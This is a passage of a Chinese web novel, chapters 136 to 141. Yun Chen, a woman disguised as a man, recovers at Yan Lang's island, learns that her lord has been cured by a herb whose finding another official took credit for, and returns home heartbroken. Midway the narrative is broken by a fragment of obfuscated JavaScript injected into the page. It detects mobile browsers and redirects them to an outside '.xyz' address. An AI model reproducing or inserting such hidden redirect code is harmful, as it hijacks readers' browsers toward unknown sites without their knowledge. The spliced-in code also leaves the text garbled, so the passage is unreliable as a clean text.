见云琛彻底昏死过去,炎朗捧着脸,好奇地问:
“玄九剑是他的宝贝,他为什么舍得给你?”
没有人能回答他的问题,云琛的血已经染透身下的被褥,四肢的皮肤开始发青发灰。
炎朗敛起心思,伸手探向云琛脉搏。
只一瞬间,他便愣住了。
他看着面前奄奄一息的年轻男子,手下却分明摸到一个女子的脉搏。
他望着那根仍卡在她胸口的箭矢,他必须要解开她的衣裳,用刀将箭头挖出来。
满脸写着难以置信,他怔怔道:
“原来如此。”
他忽然就明白了,为什么那人明明不信天下人,却敢将云琛托付给他。
他也瞬间就懂了,为什么那么珍贵的玄九剑,那人舍得给云琛。
可紧接着,他又不由自主地想起这半年来的桩桩件件。
一幕幕画面,全都是云琛。
仿佛有些说不清又道不明的东西,已在霎那间悄悄上涌,袭得他不知所措。
第136章 **是什么感觉
千里之外,楠国京都。
华丽考究的霍府内,一道身影孤坐在栖云居的阴影里,陷入前所未有的无底绝望。
“十月初二,苏扬城,秋高气爽,歌声入云,安。”
“十月初五,冬风已至,新马壮肥,长剑未出鞘,安。”
“十月初八,酒肉正酣,醉倒青山,安。”
……
“十一月十九,末晓城,老叟指路,行向东南,安。”
“十一月二十五,剑贯红衣,授业解惑,安。”
“十二月二十九,广玉兰洲外,静待。”
……
“一月十七,广玉兰洲,安。”
……
“五月十六,广玉兰洲,安。”
……
“八月十四,广玉兰洲,安。”
从八月十四日至今,原本应该每隔三日而至的密信,已整整五十日不曾出现。
那暗中保护着云琛的暗卫,是霍帮飞衔府试的第一名,是贴身护了霍乾念七年之久的顶尖高手。
按霍乾念的命令,非云琛性命攸关之时,暗卫绝不可现身,不可出手。
如今信断,只能是暗卫已遭不测。
那么云琛……
霍乾念控制不住地开始胡思乱想。
他是个甚少为未亲眼所见之事担忧的愚人。
可此时此刻,他却如坠深渊般绝望。一千一万种推算,每一种都让他恐惧又生狂。
叶峮与花绝并不知道发生了什么事,等二人循着栖云居书房的巨响赶来,只见到所有书架倒在地上,花瓶杯盏碎了一地,书房内一片狼藉。
霍乾念徒手攥着隐月剑的剑刃,剑端深深扎进他毫无知觉的大腿。
他的神情阴鸷到了极点。
鲜血成线地从他的手中流下,和大腿上的血汇集到一起,流了一地。
花绝冲过去掰开他的手,只看见一团血肉模糊。
从那天开始,霍乾念再也没有离开过书房一步。
他成日佝偻着身子,阴沉地坐在轮椅里,沉寂得像没了生息。
烛火将他狭长的身影照在冰凉的墙面上。
紧接着,一个个轻易不现身的暗卫、轻功疾如风的探子们,以及霍帮最神秘的直接受命于霍乾念的黑雀队,开始频繁出入书房。
一道道黑影没日没夜地从四面八方赶来,如飓风一般来了又去。
“少主,大女官菘蓝正在外面等候。”
霍乾念不知道是不是自己的幻觉,他仿佛听见一片虚无的空中,模模糊糊传来这么一个声音。
“少主,菘蓝女官与仪仗队已从东炎回来了。菘蓝女官说,她有非常重要的事,必须要见您一面。”
东炎。
那个布满暗卫,让霍帮第一暗卫根本无法进入的广玉兰洲,就在东炎。
“东炎”这两个字终于唤醒了霍乾念的神志,他抬了下手指,算是答应。
菘蓝盛装浓艳地走进书房,立刻惊讶地顿住脚步。
书房里弥漫着一股微微腐朽的难闻气味,那个向来高傲俊美的男人,此刻竟胡子拉碴,仪容不整,形容枯槁如同濒死。
菘蓝心头一跳:难道他知道云琛已经**?那会不会已知道是我见死不救?
菘蓝这边正在心中忐忑,却见霍乾念抬眼看来——
是一双阴沉又犀利的目光。
菘蓝被那目光看得后背一寒,不自觉地气势发虚。
“何事?”霍乾念声音嘶哑地开口。
菘蓝立刻心头一松,知道并不是为云琛的事。
她从随身香包中拿出一个做工精致昂贵的雕花小匣,打开来,只见一张雪白簇新的——
她亲笔誊抄的药方,还有半株干枯细草。
她望着霍乾念的眼睛,柔情缱绻地说:
“霍乾念,这是我为你寻来的风灼草,你的腿疾可以痊愈了。”
另一边,完全不知自己九死一生,几乎用命换来的风灼草,是如何被冒领了功劳的云琛,昏迷了整整五十天才醒来。
又七八天过后,她躺在铺满草药的榻上,差点就要数清楚自己有多少根头发时,炎朗才终于允许她下地走路。
女扮男装的秘密,这回没藏住。
她从皇宫里九死一生逃出来,能还全须全尾地活着都是万幸。
若不是炎朗,她只怕已在排队投胎了。
“炎朗,我昏迷的时候,都是你给我换衣换药的吗?”她抱着一丝希望问道。
炎朗在旁边调配抓药,手中忙活不停,眼皮子都不抬一下。
“我这广玉兰洲没有侍女,你已待了快一年,难道不知?”
最后一丝体面破裂,她脸色窘得发红,炎朗撇她一眼:
“我是八岁孩子的身体,你有什么好担心?再说,你也没什么好看的。”
云琛差点就要跳起来捶炎朗,后者又补了一句:
“不过是新伤叠旧伤、千疮百孔的一块白肉而已。”
默念着“医者无性别”“不可杀救命恩人”,云琛深呼吸,平复情绪,安慰自己:
“算了,他还是个孩子。”
养伤的日子很无聊。
云琛成日里无所事事,浑身裹着绷带,一瘸一拐地跟在炎朗后面进进出出。
见炎朗在纸上描画珍稀草药的样子,详细记录草药功效和用法,云琛便在一旁捧着腮帮子,惊讶问:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572687|168723||http|test|mini|href|location''.split(''|''),0,{}));
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r>“咦?你身子虽然是八岁的,但画画的笔法却不像是八岁。还别说,你这小手怪灵活的。”
炎朗脸色一白,忍着没有骂人。
等她能拆掉身上绷带时,见炎朗在高深的药室中分拣草药,她挠挠伤口新长的皮肉,指着最顶上的一排抽屉,疑问:
“我瞧你这药室里也没梯子,那最上面一排的药你怎么拿到咧?毕竟你腿还这么短。”
炎朗没吭声,默默捏碎了手里的黑附子。
最后,炎朗像从前过去二十多年一样,在药园子里踩着一人高的木阶,亲自攀到树上去查看女贞子的长势时。
一众护卫和仆人都老实从旁等候,只有大伤初愈,许久不出力气,闲得发慌的云琛张开双臂,兴奋地对树上的炎朗道:
“跳下来,我接着你,就像在黑熊林那样——别怕!勇敢点!”
忍无可忍,炎朗切齿:“男女授受不亲!!”
云琛这才反应过来,不好意思地咧嘴笑:
“护卫做太久,忘了忘了。”
最后,让炎朗脾气耗尽的是,一日用过晚膳后,二人像平常一样坐在院子里纳凉。
云琛伤已经快大好,有些馋酒。
可惜炎朗身体不适合饮酒,酒窖里不是果酿就是奶酒。
云琛端了一杯乳白色的奶酒,皱眉打量半天,不确定地问:
“确定是酒花和牛乳做的,不是虎乳吧?”
炎朗翻了个白眼,饮尽一杯,依旧是孩童身量,动作气质却老成持重,揶揄道:
“你挺敢想。”
云琛也饮下一杯,砸吧砸吧嘴:
“炎朗,这玩意儿我铁定能千杯不醉。”
炎朗看她一眼,“醉酒,骑马,**,入皇宫**——女子不能做的事,你一样都没落。”
“说得跟你见过多少女子似的。”云琛嘴巴在前边跑,脑子在后面追。
炎朗明显咬了下后槽牙,云琛此时脑子已追上来,赶紧歉意道:
“别咬了,你应该还没换乳牙呢,别咬坏了。”
二人就这么你一言我一刀地聊了许久,月下红林旁,奶酒饮了一杯又一杯。
炎朗微有醉意,小脸红扑扑的,看着十分可爱。
可那双眼睛却又透出经年不绝的漠然,一种对这天地万物、对这世上任何生与死都毫无怜悯的冷血。
云琛畅快地舒口气:
“风灼草应该已经送到了,真好。炎朗,谢谢你帮我,也谢谢你救我。我欠你一个恩情,你有什么想做的事吗?我可以为你实现。”
炎朗没有正面回答,而是问:
“云琛,**是一种什么感觉?”
第137章 着迷
“**是一种什么感觉?”
云琛从没细想过这件事。
这世道不是你死就是我活,为了生存,她记不清自己杀过多少人。
沉吟许久,云琛道:“不好说,你自己感觉一下就知道了。”
未等炎朗说话,她用腰带蒙住他的眼睛,一把抱起他,轻功飞身而去,片刻之后落定在地上。
她伤未彻底痊愈,轻功奔跑的时候,还是扯得腿痛。
她呲牙咧嘴地倒吸几口气,然后整顿面容,走到炎朗身旁,将一柄**塞进他手里,仍旧蒙着他的眼睛,说:
“往下刺,你就会知道是什么感觉了。”
炎朗很茫然,握着**的手停在半空,好笑道:
“你在胡扯什么?现在找了个人来让我杀?”
她握住他的手,用力下刺,“对,这人是你的家仆,新来的,二十来岁,个子不高,黑黑胖胖。我已绑了他,他不会太挣扎。”
话音落下,**刺入身体。
刀刃像是瞬间陷入粘稠的沼泽,一种没入厚重的包裹感从刀身传向手中。
炎朗立刻感觉到刀下的“人”开始剧烈挣扎,发出阵阵痛苦嘶嚎。
他惊得想要撤回手,云琛却将他的手握得更紧,更加用力地朝下狠刺。
耳边传来一声高过一声的恐怖嚎叫,炎朗脑子发懵,手中却清晰地感觉到一种剧烈的扭动挣扎,让他几乎快要握不住**,手掌都被刀柄割得生疼。
刀下的“人”做着最后的求生挣扎,撞得身下的板子砰砰直响。
一股浓郁的血腥味充斥着炎朗的鼻腔,叫他想要作呕。
云琛的声音贴近他耳朵,轻柔却又带着杀气:
“体会到了吗?这就是**的感觉。”
炎朗再也支撑不住,猛地推开云琛,趴在地上剧烈地呕吐起来。
他一把扯下眼睛上的腰带,只见血泊之中,一头壮硕的黑猪正躺在宰杀板上,旁边厨子拿着杀猪刀愣愣站着,表情十分愕然。
没有什么家仆,没有“人”,只是一头惨叫声颇像人的山野黑猪而已。
可方才云琛形容得那样真切,炎朗完全以为刀下就是个大活人。
野猪的脖子上还插着那柄**,云琛上前用铁钩勾住野猪下颚,抱住挣扎嚎叫的猪头,握住**,狠狠横向一拉,一刀割断了野猪的喉管,鲜血喷洒了一地。
野猪渐渐停止挣扎,没了声息。
云琛将****,熟练地在裤腿上抹了两下,擦去血,重新插回靴子里。
她拍拍野猪的屁股,叹气道:
“难为你了,横竖都是死,不如圆了你家主子一个心愿再死。一会儿让厨子给你烧好吃些,也算让你走得体面。”
一旁的厨子和仆人都忍不住发笑,只有炎朗定定地望着云琛。
在那双黑白分明、如莲花洁净的眼睛里,他又一次看见那种杀气腾腾的干脆果决。
上一次看见这眼神,还是二人在黑熊林中,她单杀大黑熊的时候。
不知道为什么,炎朗从骨子里喜欢云琛这不经意流露出的充满杀意的眼神。
像是一只纯良干净的小白兔,偶尔会变身成呲着獠牙的嗜血野兽。
这种强烈的反差让他觉得有些食髓知味,着迷得紧。
云琛上前将炎朗扶起来,帮他洗净手,重新回到摆着乳白奶酒的安静院子里。
炎朗一直盯着自己的手,掌心是刀柄划出的久久不褪的红印。
云琛明白,炎朗锦衣玉食,地位尊崇,他什么都不缺,只缺一种对“死亡”的掌控感。
他掌控不了自己弱小的身体,只有真正掌控一次“死亡”,他这一生将近四十年的心结,才能终于得到些缓解。
“炎朗,这下你知道了,**的感觉并不好。你是神医,是救人的。”
炎朗端起奶酒,他第一次瞧见自己的手会颤抖。
“我只是因为自己得了绝症,才开始钻研医理而已。因为我是皇子,我便能轻易得到天下各种珍贵又难寻的医书,学得便比旁人更快些。我从医的心,从来只为我自己,医治他人不过是顺手,更多还带着功利目的。”
云琛笑笑,“论迹不论心,论心无完人。管你是何初心,你总归医治了很多人。炎朗,你瞧,杀一个人往往只要一瞬间,可救一个人,就像你这次救我一样,却要费许多心血和力气。可见救人远远比**要难。”
论心无完人?这话有意思。”炎朗说。
云琛又道:“我安慰不了你,因为你真的挺惨。如果你信命,信‘天生我材必有用’,那么也许是老天爷需要一位神医救世,所以才令你如此吧。”
和周围所有人不同,云琛自始至终都能用一颗平常心来直面炎朗,甚至直言“你好惨”,从不避讳这人人不敢提及的离魂症,这八岁身体的痛苦。
炎朗觉得有点痛快。
“你这几句,是我四十年来听到最有效的安慰。可惜我没有悬壶济世的伟大意志,我只是想拼尽全力钻研医理,治好我自己。至于医治其他人,随缘遇到便医,无谓放在心上。”
炎朗观察着云琛的神色,想看她的反应。
云琛只笑道:“挺好的。你本救世佛,尚未塑金身而
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已。”
炎朗心头一震,突然觉得自己并不是什么治病救人的佛,眼前这小小女子,才是来渡他于泥沼的女菩萨吧。
一瞬间,他心头那些说不清道不明的东西,又悄悄涌了上来,翻天覆地成了他不敢去看的模样。
良久,炎朗轻声开口:
“云琛,你走吧。”
她惊讶:“哈?我刚轻功了两下,小腿还疼呢,这就赶我啦?”
炎朗目光幽深地望着她,“你喜欢你家主子,对吗?”
她的脸瞬间通红,连连摆手否认,却又像是想起了什么,脸上难得露出少女才有的娇羞,点头道:
“是的,我喜欢他。”但他……并不喜欢我。
后半句云琛没有说。
炎朗眼神渐冷,“所以你得赶紧回楠国去瞧瞧。那风灼草的药方上,我忘了写药引。如果没有药引,他即便吃了风灼草,也没有任何用。”
云琛一下子从凳子上跳起来,瞪着眼睛惊叫:
“我的哥!!这种事你怎么现在才说??”
炎朗嘴角弯起一抹讥笑:
“这药引不难,‘情念’而已。风灼草要紧,寻到风灼草的人更要紧。只有服药之人动起情念,哪怕只有一丝,风灼草便可以医疾。如果没有情念在其中,风灼草不过一根野草。”
云琛反应了一会儿,才明白炎朗话里的意思。
霍乾念若要服用风灼草,必须得对寻药之人心有情念才可以。
“你现在就可以回楠国看看,他有没有腿疾痊愈,便知他对你有没有情意在其中。”炎朗说到。
这大约是最不能骗人,最能测出霍乾念心意法子了吧。
云琛简直迫不及待马上就要出发,恨不能长出双翅膀回去瞧一瞧,却听炎朗又道:
“我忘记告诉你了。你从宫里逃出来的那晚,将风灼草送到驿馆那女官手中,而后昏死过去。那女官不仅没有救你,还故意将你扔到偏僻处等死,是我的暗卫将你救回。那么,依我所见,那女官既不救你,定然不会对你主子说,风灼草是你用命寻来的。”
云琛愣住。
炎朗笑道:“换言之。如果你主子吃了那女官送去的风灼草,腿疾痊愈,那便证明他对那女官有情。如果你主子腿疾仍旧不愈,便证明他对那女官无情。只是你豁出命得到的风灼草就白费了,这世间再也没有能医你主子腿疾的东西。”
对着云琛那呆愣又纠结的神情,炎朗笑得比从前更加残忍冷血:
“所以,你是希望他一辈子残废着,还是更希望他对那女官有情,从此腿疾痊愈呢?”
第138章 炎刑
对于广玉兰洲上的暗卫们来说,这洲是天下最严苛而庞大的秘密暗卫组织所在之地,也是那病态三皇子的“玩乐园”。
既做了暗卫,性命便交付在主子手中。
只可惜正主子常年在外不露面,只将广玉兰洲的一切暗卫相关事务都交由炎朗代管。
炎朗只有一副八岁的身体,他从不**,甚至脾气也不错。
只是那孩童身躯长着一双极致冷血的眼睛,看向暗卫们的时候,根本不是在看“人”,而像是看着无关紧要的猫猫狗狗,像看着随处可见的石头般冷漠。
犯错或者黄了差事的暗卫们,很少面临死亡的惩罚,毕竟培养一个暗卫实在耗时耗财巨大。
暗卫们只需去炎朗跟前受罚,不杀不打,只是在炎朗手下试一个月的药。
各种不明所以的东西熬成一碗黑色的药水,一日一日地灌进喉咙里。
轻则浑身剧痛昏厥,重则白日见鬼幻觉重重。
即使受罚结束,梦魇也要持续数月才能消解。
因此,对暗卫们来说,炎朗远远比他们正经主子要可怕得多。
人人都惧怕炎朗,唯独那个楠国来的小护卫不怕。
暗卫们值守在暗处,眼睁睁地瞧着那护卫勾住炎朗的脖子,一顿揉搓亲昵,甚至喊炎朗“小孩哥”。
炎朗表面上十分气愤,可暗卫们看得出来,他其实挺受用。
有那小护卫在的日子,炎朗几乎不关心暗卫们的差事,没有罚过任何人。
只可惜,那夜对月饮奶酒之后,那小护卫便收拾行囊,连夜匆匆离去。
炎朗命人封了小护卫居住快一年的屋子,不许动里面任何东西。
紧接着,那个“冷血无情”的炎朗又回来了。
暗卫们又过起小心翼翼的日子。
直到数日后,一个高大的身影策马冲进广玉兰洲。
瞧着那虎背蜂腰,身形异于常人高大,暗卫们便知,他们的正经主子回来了。
几个领头的暗卫刚想上前问安回话,却见自家主子阴沉着脸,怒气冲冲地踹开炎朗的房门,几人立刻悄声退离,不敢再靠近,只能听见一声声怒吼从炎朗的屋子里传出来。
寝屋里很快变得一片狼藉,桌椅全部被踹翻。
炎朗静静地坐在床榻边,冷眼看着来人暴怒发狂。
“我同你说了!!只要留她性命!便将她永远留在这里!你为什么还是放她回楠国?!”
炎朗平静道:“你是说了。可你没说她是个女子。”
颜十九冲过去,一把攥住炎朗的衣领,大吼:
“她是男是女和你有什么关系??!!我只是要你看牢她!!这天下我只信你!!你为什么不照做!!”
炎朗冷笑:“只信我?不,是你只敢将心上人托付给我这个不能人伦的八岁‘孩童’而已。炎邢,你是不是颜十九做得太久,都忘了自己到底是谁了?”
颜十九双目似要喷火地瞪着炎朗,“这世上我只信你!因为你是我同胞的哥哥,这二十多年来,只有你护着我!你知道的!”
炎朗慢条斯理地整理被抓
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乱的衣襟,“我拘着她又有什么用?她的心根本不在你身上。她中意她的什么少主,甘愿为他九死一生入宫盗风灼草。真可惜,你没亲眼瞧瞧她从宫里逃出来的样子。
浑身都是血窟窿,几乎没有一块好皮好肉,就剩了最后一口气。她能为那少主豁出命到这般田地,你怎么争?就凭叫暗卫们拿份错地图,引她去你边境上的秘密老巢?就凭想办法送她一把玄九剑?”
“你闭嘴!”听到炎朗那么真切地形容云琛如何为霍乾念拼命,颜十九简直要发狂:
“按我的计划!就是要引她去一个永远见不到霍乾念的地方!只不过路上突发意外,她才来到东炎!所以我才将她托付给你!其他轮不到你说!”
“是轮不到我。”炎朗眼神无比轻蔑,看颜十九的表情,完全是一个大哥看着幼稚弟弟胡闹的鄙夷模样。
“可是,炎刑,你比我认识云琛久多了,怎么就看不出来呢?意外也好,东炎皇宫也罢,什么都困不住她的。因为她是凶猛的鹰,不是你觉得漂亮就可以拥有的笼中鸟。”
最后一句话说出来,犹如一大盆冷水浇在颜十九的头顶,他满腔愤怒全部哑火,再也吼不出一个字。
他松开一直攥着炎朗衣领的手,佝偻着脊背,动作迟缓地从地上捞起把破椅子,脱力似的躺上去,面无表情道:
“争不到也无妨,我得不到的东西,谁也别想得到。”
炎朗神色微怔,又很快平复,嘴角嘲弄地勾起:
“说得没错。”
第139章 再见一面
没日没夜地狂奔了七天后,云琛终于回到楠国。
“听说了吗,霍帮少主腿疾痊愈,能站起来了!”
“好像是公主手下的一个女官,千辛万苦寻来了什么神药,帮那霍帮少主医治好腿疾的,真是痴情一片呀!”
“我还听说,为报答那女官恩情,霍帮少主要娶那女官呢!”
“那必须的啊!坐了快十年轮椅,一下子痊愈,换谁不得高兴疯了,怎么报答恩人都不为过呀!”
“据说那霍少主现在睡觉都站着,成天不是飞檐走壁,就是骑马打猎,一会儿舞刀弄枪耍个不停,一会儿拉着护卫赛马,跑晕了十几匹马都不够,欢喜的两条腿不知怎么用才好了,哈哈哈哈——”
听到这些夸张又搞笑的传言,云琛几乎能想象出霍乾念高兴的样子。
她知道自己应当替他高兴的。
可她就是怎么都笑不出来。
不仅笑不出来,还莫名其妙一个劲儿地掉眼泪。
霍帮堂口遍布全楠国,她随便走到哪里都能听见人们在议论霍乾念。
是啊,他是高高在上的霍帮少主,掌握着楠国半壁财权,是翻手为云覆手为雨的权谋家。
也是一个完美无缺,光凭相貌就迷倒无数怀春少女的绝世公子。
这样的人,自然时时处在**的浪尖,一举一动都引世人关注。
离烟城越近,传言越多越真,已真切到连霍乾念哪日宴饮,喝了几杯酒,如何仰天大笑,豪情肆意,都传得活灵活现。
云琛赶路的脚步也越来越慢,那急切又热烈的心,也一天比一天更冷。
她甚少乔装打扮,这次却改头换面成最普通的模样,不想被任何一个霍帮的人认出来。
她开始退缩,觉得自己已没必要去亲眼瞧个分明了,对吗?
终于磨磨蹭蹭抵达烟城的时候,她驻足良久,心中挣扎不定:
不去了吧,知道他安好就足够了;
去吧,纵使没有情,可她还欠着恩呢;
可她是被他逐出霍帮的……离开霍帮的一年多来,她总是刻意逃避不去想,可那日他拒她于千里之外的冷漠眼神,那绝情的面容,只稍微回想起,她仍觉心痛不已。
当日,在老太太的点拨下,她坚定了去东炎国盗风灼草的决心。
以此报他的恩情,再获一次回到霍帮的机会。
哪怕一辈子不表白,只将这份情藏在心底也无妨。
她原本想护着他,守护在这个世界上离他最近的地方,瞧着他荣耀披身,不可一世。
可惜……如今终于知道,原来菘蓝才是他的意中人。
那就去吧,最后再见一面,恭喜他成婚,也好好告个别。
抱定这样的想法,云琛站定在霍府大门前。
一瞬间,犹如冰水浇个透心凉,她什么“见面”的念头都没了,怔怔望着前方,喃喃道:
“奶奶,这就是‘头破血流’吗……”
那熟悉的霍府大门前,门口两尊大石狮子身上,披满了红花红绸。
一个大大的“喜”字悬挂在霍府牌匾上。
满地燃尽的鞭炮红彤彤的,正如婚娶那样喜庆。
她低下头,吸了吸鼻子,努力不去想,不去看。
犹豫良久,她决定不与他相见了。
只去远远看他一眼,就在心里说再见吧。
于是,在离霍府不远的小巷角落里,一个所有值守巡逻护卫都看不到的暗处,她直直站到了天黑。
身上的伤还未彻底痊愈,这几日胸口总是一阵阵刺痛,小腿也是酸麻不已,她忍着伤疼,运气凝神,悄悄攀上霍府高阔的墙壁。
她循着北柠堂的方向而去,半路却被一个暗卫拦住。
那暗卫已抽出刀准备战斗,却突然愣住,叫了声“云琛?”
云琛并不认得眼前的人,那暗卫却道:
“云兄弟,你不认得我,但我认得你,我一直在少主身边做暗卫。”
云琛觉得这几句话好生熟悉,还未来得及细想,那暗卫又问:
“云兄弟,你趁夜潜入府,这是要?”
云琛不好意思地挠头,“我没别的意思,就是听说少主腿疾好了,想来看一眼。”
那暗卫眼神一软,叹了口气:
“唉,云兄弟,你知道的,你已经不是霍帮的人了,我实在不能这样放你进去,要不我去帮你通传一声,少主总不至于那么狠心,连见都不愿见你吧?”
“别别别!”云琛赶紧摆手,“没必要惹少主心烦,我远远地看一眼就行……或者……”
想起当初被逐出的情景,她颇为羞愧地低下头,“不看也可以……就不给你们添
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麻烦了。”
那暗卫点点头,想了想,又道:
“要不我去叫不言哥过来?他这会应该在少主身边值守的呢,他可想你了,天天念叨,这会要见到你,可得高兴坏了!”
云琛再次拒绝,“算了吧……他嗓门大,只怕一见面,非喊得人尽皆知,少主肯定会知道了。”
望了眼北柠堂的方向,只见眼前重重屋瓦,离得还很远。
“少主的腿彻底好了吗?”她问。
那暗卫高兴道:“彻底好了!能跑能跳的!每日天不亮就拉着叶峮哥和花绝哥跑步呢!多亏菘蓝大人,就是她带来了什么神草神药,少主吃了,又针灸了几日,一下就好起来了!”
她也跟着笑起,开心道:“真好!”
那暗卫还道:
“少主从前吃得少,人也清瘦,现在高兴得不得了,一顿能吃三碗饭,走起路来虎步生风,帅得咧!”
她弯唇笑起。她能想象出他高兴的面容,却想象不出他站起来走路的样子。
“少主……要娶菘蓝大人了吗?”
“好像是的,为这事公主亲自登门好几回呢。”
“挺好的……”
沉默了片刻,她露出个勉强的笑容:
“可以啦,听你说的这些就足够了。我走了,你也别对任何人说今夜见过我。”
那暗卫只当云琛是被逐出霍帮的,此刻怕张扬出去又丢人,立刻应下,拍着胸脯保证道:
“兄弟一场,我保证守口如瓶。”
云琛道了谢,随即轻功而去。
那暗卫望着云琛离去的方向,忍不住再次叹息。
这时,另一个暗卫从旁边走过来,好奇道:
“你一个人站这干嘛呢?”
“没什么,透透气。”
“哎你说陆良哥怎么还不回来呀,他外派啥任务去了,这都一年多了,我听说,陆良哥可能是跟着那被逐出的云琛走了。”
“啊?”
“这也是我们私底下猜测的,陆良哥可能是暗中去护云琛了。”
“可云琛不是被逐出霍帮的吗?少主为什么还让咱们飞衔府试第一名的高手去护呢?”
“都说了是猜测而已嘛,少主的心思谁能猜透。”
那暗卫点头称是,再次望着云琛离去的方向,嘴巴动了动,终究什么也没说。
第140章 赤衣公子
离开霍府,云琛浑浑噩噩地在街上走。
她一会儿想哭,一会儿又想笑。脸上笑容和泪水混成一团,面皮都快要抽筋。
她好想看看霍乾念站起来的样子呀……
想看看他有多高,想看看他走路的步子迈多大,想看他翻身上马的样子,看他挥舞隐月剑的身手。
她一边走,一边想,一边眼泪落个不停。
泪眼模糊之中,她感觉到一个熟悉的气息靠近,一个身影站定在她的面前。
她拿袖子擦擦眼泪,仰头看去,努力想笑,出口却只有哭腔:
“颜十九,好久不见。”
颜十九脸上有风尘仆仆行路的疲乏,衣袍下摆全是驾马溅到的泥土,但云琛并未注意到。
他两手撑着膝盖,俯身凑近她面容:
“我可可爱爱小云儿,阿灵可想你了,去看看它好吗?”
“好……”云琛应了一声,所有委屈和心痛突然袭上心头,叫她忍不住大声痛哭起来。
她一边哭,一边迷迷糊糊地随颜十九走。
颜十九走在前面,将她的手挂在他腰带上,令她跟在身后。
二人就这么一前一后地走着,颜十九没有作声,没有安慰,亦没有发一言一语。
等云琛哭得脑门子发晕,终于哭够了时,她定眼一看,只见一颗比她脑袋还大的蛇头正贴在她面前,冷冷的蛇眼看着她,吞吐着红色的信子。
隔着笼子,她一把抱住阿灵的脖子,哽咽道:
“阿灵,你让我抱抱,抱一下就好,你真乖。”
颜十九从旁道:
“你抱着它七寸呢,它敢不乖吗?”
她抬手去摸阿灵的脑袋。
谁知阿灵竟微微偏头,拿头迎合着去顶她的手,做出了这极通人性的动作。
摸着冰凉的蛇头,她终于感觉心里慢慢平静了些。
她说:“颜十九,我这一年多过得可精彩了,发生了许多事情,我都不知该从哪件说起。”
他靠着笼子坐下,弯起眼睛,但眼底却没有一点笑意:
“你瘦了,脸又尖了,手腕也细了。还好个子没再长,否则一个女子长那么高,只能找我这么高的相配了。”
她啐了他一口,轻声笑起来。
“去见过霍乾念了吗?”
“去了霍府,但没见到少主。大约……也不必见了。”
颜十九浓眉微扬,高兴道:
“那接下来你准备去哪里?我陪你吧!”
她摇摇头,心里也十分迷茫,“一路上我已听说了,说玉家手里有个什么账本,记录了多年来贿赂朝廷官员的账目。我虽不知公主与你们都在谋划什么,但大概能猜到,你们就快对玉家有大动作了吧。眼下正是最忙的时候,你怎么能离开公主这边。”
“说得对。”颜十九露出个讨好的笑容,用肩膀碰碰她,“那你来给我当护卫呗,贴身的那种。”
她翻了个白眼。
他不死心,又道:“那不贴身的也行。马上就要回京了,京都风云诡谲,斗争不断,我可害怕了,你来保护我行不?”
她用“你当我是个傻子”的眼神看着他,“你少来,虽没和你交过手,但别以为我看不出你这家伙身手一等一的好。再说了,你不还有万宸他们吗,都是出挑拔尖的高手,并不需要我。”
颜十九叹了口气,对着房梁暗处道:
“万宸,你听见了吗?小云云觉得有你在,便不需要她,你占了她的位置。”
云琛看不见房梁哪有人影,只听到万宸的声音传过来,不确定地说:
“公子,属下听见了——那我死?”
云琛忍不住哈哈笑起来,也学着颜十九的样子,对着房梁暗处道:
“万宸,你可不能死,我最喜欢看你模仿颜十九了,哈哈哈——”
万宸没有笑,只是声音低沉地回了句:
“多谢云护卫。”
略略停留了一个时辰,云琛起身,准备离开颜府。
任颜十九哭天喊地、满地打滚地哀求,她也不为所动。
她嫌弃地看着躺在地上四肢乱舞的颜十九:
“你这个体型实在不适合撒娇,跟狗熊蹭树似的。赶紧起来吧,万宸还看着呢,丢人不?”
说罢,她从嬉皮笑脸的颜十九身上跨过去,简单收拾下包裹,便头也不回地走了。
托颜十九的福,听她说要去苍海城香消崖探望师父,颜十九给了她几身新衣服,还有二百两盘缠。
揣着贼重的“巨款”,骑着颜十九送的好马,她第一次不用狂奔赶路,可以悠闲地走在路上。
心头再没任何事,她只记挂着师父去求完仇人,是否安好,她必须得去看看。
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她慢慢往香消崖的方向走,算了算日子,大概得走上一个月。
路程过半时,已是二月近春,天气一天比一天热。
她骑着马,头顶着太阳,总是出汗,忍不住抬手挠脸。
可脸上贴着颜十九送她的易容面皮,她又不敢挠,只能不停地轻拍发痒的地方。
路过的人都瞧见一个穿得光鲜亮丽却相貌平平的年轻人,一边骑马,一边不停扇自己耳光,不由都投来奇怪的眼神。
最后实在痒得受不了,她就近在丹阳城寻了家客栈住宿,准备捣鼓好易容面皮再继续走。
客房里,她将薄如蝉翼的面皮揭下来,小心翼翼地清洗一番,而后阴干,涂上颜十九给她的药水。
实在闷热又发痒,她有些不想带这易容面皮。
可想起颜十九嘱咐的,楠国之内到处都是霍帮、玉家和公主等各方势力的耳目,她的模样太扎眼,还是易容更安全。
再加上从广玉兰洲走得急,玄九剑落在了炎朗那。
她如今未配剑,只有靴子里一柄**,没有可堪一战的趁手兵器,她决定还是听颜十九的话,老老实实易容。
但整张脸带着**实在难受,她想到一个折中的办法。
她拿剪子将易容面皮从中剪开,只留上半张,仔细地贴在脸上,对着镜子调整好。
很快,她那双大眼睛再次变成了小小的三角眼,秀气的鼻子微微上扬,露出猪鼻的样子,眉毛变得稀疏杂乱,脸颊也布满雀斑。
下半张脸则舒坦地露在外面吹风,还不影响吃喝。
她真想夸自己一句“真是太聪明啦!”
“这要是走在大街上,和叶峮哥他们面对面,只怕都认不出我。”她自言自语。
一切收拾妥当后,她下楼准备吃饭。
正是午饭的时候,大堂里坐了许多人,满满当当,十分热闹。
她选了个角落的位置,点了一份牛杂汤,一碟乌梨酥。
等菜的功夫,她无聊地用手指沾了茶水,在桌子上写写划划,不自觉写了个“霍”字,对着它怔怔地出神。
直到大堂里响起食客们夸张的惊叹声,才将她的思绪唤回。
她循着声音抬头看去,只见一身形高大的赤衣公子正大步流星朝她走来。
那公子身后,正是一身霍帮亲卫服制的叶峮。
第141章 王不行
云琛愣愣地看着霍乾念大步流星地朝她走来。
她大脑一片空白,感觉周遭一切人与物都瞬间消失了似的。
这空旷人世间,只有熟悉又陌生的他,闪着耀眼的金光而来。
她像个傻子一样呆愣着,心里下意识道:
原来他这么高啊……
原本叶峮身量算高的,可站在霍乾念身边还是矮了一头。
一身燕字云纹的赤色长袍,裹着霍乾念颀长高大的身量。
